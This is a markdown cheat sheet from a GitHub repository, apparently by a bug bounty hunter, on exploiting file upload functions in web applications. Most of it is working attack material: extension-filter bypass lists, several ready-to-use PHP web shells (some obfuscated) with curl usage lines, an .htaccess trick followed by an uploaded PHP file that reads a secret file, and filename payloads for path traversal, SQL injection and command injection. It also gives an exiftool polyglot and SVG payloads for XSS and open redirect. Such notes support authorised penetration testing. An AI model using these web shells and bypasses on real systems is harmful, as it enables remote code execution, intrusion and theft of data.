Skip to content

file-upload.md

Latest commit

 

History

History
239 lines (175 loc) · 9.54 KB

file-upload.md

File metadata and controls

239 lines (175 loc) · 9.54 KB
Raw

File-Upload

File Extension Fuzzing/Bypass 
# extension blacklisted:
PHP: .phtm, phtml, .phps, .pht, .php2, .php3, .php4, .php5, .shtml, .phar, .pgif, .inc
ASP: .asp, .aspx, .cer, .asa
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf
Coldfusion: .cfm, .cfml, .cfc, .dbm
Using random capitalization: .pHp, .pHP5, .PhAr
pht,phpt,phtml,php3,php4,php5,php6,php7,phar,pgif,phtm,phps,shtml,phar,pgif,inc
# extension whitelisted:
file.jpg.php
file.php.jpg
file.php.blah123jpg
file.php%00.jpg
file.php\\x00.jpg
file.php%00
file.php%20
file.php%0d%0a.jpg
file.php.....
file.php/
file.php.\\
file.
.html
  • Upload asp file using .cer & .asa extension (IIS — Windows)
  • Upload .eml file when content-type = text/HTML
Payloads 
<?php system($_GET["cmd"]);?> # ?cmd= (ex: ?cmd=ls -la")
<?=`$_GET[0]`?>               # ?0=command

<?=`$_POST[0]`?>          
# Usage : curl -X POST http://target.com/path/to/shell.php -d "0=command"

<?=`{$_REQUEST['_']}`?>      
# Usage: http://target.com/path/to/shell.php?_=command OR curl -X POST http://target.com/path/to/shell.php -d "_=command" '

<?=$_="";$_="'" ;$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>
# Usage : http://target.com/path/to/shell.php?0=command

<?php $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>
# Usage : http://target.com/path/to/shell.php?_=function&__=argument http://target.com/path/to/shell.php?_=system&__=ls
Content type 
- Preserve name, but change content-type
Content-Type: image/jpeg, image/gif, image/png
Content length Bypass 
# Small bad code:
<?='$_GET[x]'?>
Impact/Exploitation by extension 
asp, aspx, php5, php, php3: -->  webshell, rce
svg:                        --> stored xss, ssrf, xxe
gif:                        --> stored xss, ssrf
csv:                        --> csv injection
xml:                        --> xxe 
avi:                        --> lfi, ssrf
html, js:                   --> html injection, xss, open redirect
png, jpeg:                  --> pixel flood attackdoszip:                        --> rce via lfi, dos
pdf, pptx:                  --> ssrf, blind xxe
File name Tests
  • Path traversal ../../etc/passwd/logo.png ../../../logo.png
  • SQLi 'sleep(10).jpg sleep(10)-- -.jpg
  • Command injection ; sleep 10;
  • XSS <svg onload=alert(document.comain)>.svg
Image-Tragic

SVG images are just XML data. Using XML you can achieve lots of vulnerabilities, for instance Image Magic which is an image processing library is vulnerable to SSRF and RCE vulnerabilities.

{% embed url="https://4lemon.ru/2017-01-17_facebook_imagetragick_remote_code_execution.html" %}

Web shell upload via extension blacklist bypass 
------WebKitFormBoundary0G2tBRqMoRVtGqfG
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .l33t
------------------------------------------
then 
------WebKitFormBoundary0G2tBRqMoRVtGqfG
Content-Disposition: form-data; name="avatar"; filename="exploit.l33t"
Content-Type: application/octet-stream

<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundary0G2tBRqMoRVtGqfG
Remote code execution via polyglot web shell upload

{% embed url="https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload" %}

exiftool.exe -Comment="<?php echo 'START ' . 'Hacked By h0tak88r :)' . ' END'; ?>" download.png -o polyglot.php
EXIF-DATA not Stripped
  1. Got to Github ( https://github.com/ianare/exif-samples/tree/master/jpg)\\
  2. There are lot of images having resolutions (i.e 1280 * 720 ) , and also whith different MB’s .\
  3. Go to Upload option on the website\
  4. Upload the image\
  5. see the path of uploaded image ( Either by right click on image then copy image address OR right click, inspect the image, the URL will come in the inspect , edit it as html )
  6. open it (http://exif.regex.info/exif.cgi)
  7. See whether is that still showing exif data , if it is then Report it. Reports (Hackerone)
  8. IDOR with Geolocation data not stripped from images

{% embed url="https://hackerone.com/reports/906907" %}

File Upload Exploitations

  • SVG file To XSS

    	<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
	<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
	<script type="text/javascript">
	alert("h0tak88r XSS");
	</script>
	</svg>

  • Open Redirect when uploading svg files

        <code>
    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <svg
    onload="window.location='<http://www.google.com>'"
    xmlns="<http://www.w3.org/2000/svg>">
    </svg>
    </code>
Top Upload reports from HackerOne:
  1. SSRF in VCARD photo upload functionality to Open-Xchange - 49 upvotes, $850